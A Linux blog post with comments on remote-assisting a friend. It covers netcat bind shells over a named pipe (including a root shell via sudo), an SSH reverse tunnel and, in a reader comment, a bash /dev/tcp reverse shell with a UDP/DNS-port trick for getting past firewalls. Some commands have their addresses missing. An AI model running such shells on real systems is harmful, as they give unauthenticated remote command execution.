Enthusiasm never stops

Bind a shell on Linux and reverse-connect to it through a firewall


There are situations when a friend is in need of Linux help, and the only way for you to help them is to log in to their machine and fix the problem yourself, instead of trying to explain over the phone all the steps to your friend.

Such a problem has two sub-problems:

  • The remote machine must accept incoming connections and provide you with shell access. The obvious way to achieve this is an SSH daemon. Many Desktop Linux distributions don’t install an SSH server by default though, for security reasons. Setting up an SSH server in this moment is slow, and could even not be possible, if your friend messed up with the packaging system, for example. So we need to find an easy way to bind a network shell on the remote machine.
  • We must be able to connect to the remote machine. Usually desktop machines are protected behind a firewall or NAT, and we cannot connect to them directly. If this is not the case for you, you can skip this step and just connect to the remote machine IP address. A common approach to overcome this problem is that the remote machine connects to a machine of yours, which has an accessible real IP address and has a running SSH server. Most Desktop Linux distributions have an SSH client installed by default. So all you need to do is quickly and temporarily set up an account with password authentication for your friend on your machine. Then let them log in there which will create a reverse tunnel back to their machine.

Bind a shell

Another useful tool which is usually available on Linux is the Netcat, the Swiss-army knife for TCP/IP. In order to bind a shell using the Netcat version available on Ubuntu/Debian, you need to execute the following:

mkfifo /tmp/mypipe
# user shell
cat /tmp/mypipe|/bin/bash 2>&1|nc -l 6000 >/tmp/mypipe

I got this awesome idea from a user comment. I only extended it a bit by adding “2>&1” which redirects the STDERR error messages to the remote network client too.

Once the above has been executed on the remote machine, anyone can connect on TCP port 6000, assuming that there is no firewall. Note that you have to connect via Netcat again. A connection via Telnet adds an additional “\r” at every line end, which confuses Bash. If you need to perform actions as “root” on the remote machine, the shell needs to be executed as “root”:

mkfifo /tmp/mypipe
# root shell
cat /tmp/mypipe|sudo /bin/bash 2>&1|nc -l 6000 >/tmp/mypipe

If you are worried that your friend will mistype something, save the commands to a text file on a web server, and let them download it using “wget” or “curl”. Example:

wget http://www.famzah.net/download/bind-shell.txt
# or
curl http://www.famzah.net/download/bind-shell.txt > bind-shell.txt

chmod +x bind-shell.txt

Reverse connect using an SSH tunnel

The ssh client has the ability to forward a local port (review Reversing an ssh connection for a detailed example). Once you’ve set up an account for your friend, you ask them to connect to your machine:

ssh -R 6000: $IP_OF_YOUR_MACHINE

Once your friend has connected to your machine, you can connect to theirs using the reverse SSH tunnel by executing the following:

nc 6000

The connection to on TCP port 6000 is actually forwarded by SSH to the remote machine of your friend on their TCP port 6000.

Note that once you disconnect from the “nc” session, the Netcat server on the remote machine exists and needs to be restarted if you need to connect again.

Author: Ivan Zahariev

An experienced Linux & IT enthusiast, Engineer by heart, Systems architect & developer.

6 thoughts on “Bind a shell on Linux and reverse-connect to it through a firewall

  1. Pingback: Bash UDP Reverse Shell & other fun things | Separallel

  2. Man this is a very useful trick

  3. Hello
    In case your pal have an SSH server (example, remote login enabled on Max OS), you can use the SSH tunnelling part to avoid your pal to configure his box to forward ports, then you can ssh connect on te local forwarded port. This works very well and give a real terminal a lot more easy to use thant a nc connection.

  4. Here’s yet another approach to the same problem:

    1. On your end (again assuming no firewall) start a netcat instance listening for inbound tcp connections on port 6000 using:

    nc -l -p 6000

    2. The remote machine (the one that you need to be reverse-connect to and execute commands on) runs bash redirecting its standard input output and error to a socket connected to your listening netcat using:

    bash 0>/dev/tcp/your.server.ip.address/6000 1>&0 2>&0

    The above uses bash built in /dev/tcp/ which doesn’t exist on the /dev/ filesystem but instead creates a tcp socket.

    Similar effect could be achieved using UDP instead of TCP via /dev/udp/… on the client side and “nc -u -l -p 53” on the server. This in case for example that the outbound connections of the client are limited to say DNS only 😉

    Rumen Telbizov

    • Nice tricks! I’ve learned a couple of things today.

      It should be noted that both methods open **huge remote execution holes**, though I believe (correct me if I’m wrong), the original method can be made secure by using “nc -l 6000” rather than “nc -l 6000”.

      • This won’t work. If you bind “nc” to “”, it won’t accept remote connections at all. Actually the alternative method suggested by “telbizov” is rather secure — the client connects to your machine and you execute the commands. The worst thing in this case would be that someone else connects before your friend, but you’ll easily notice that.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s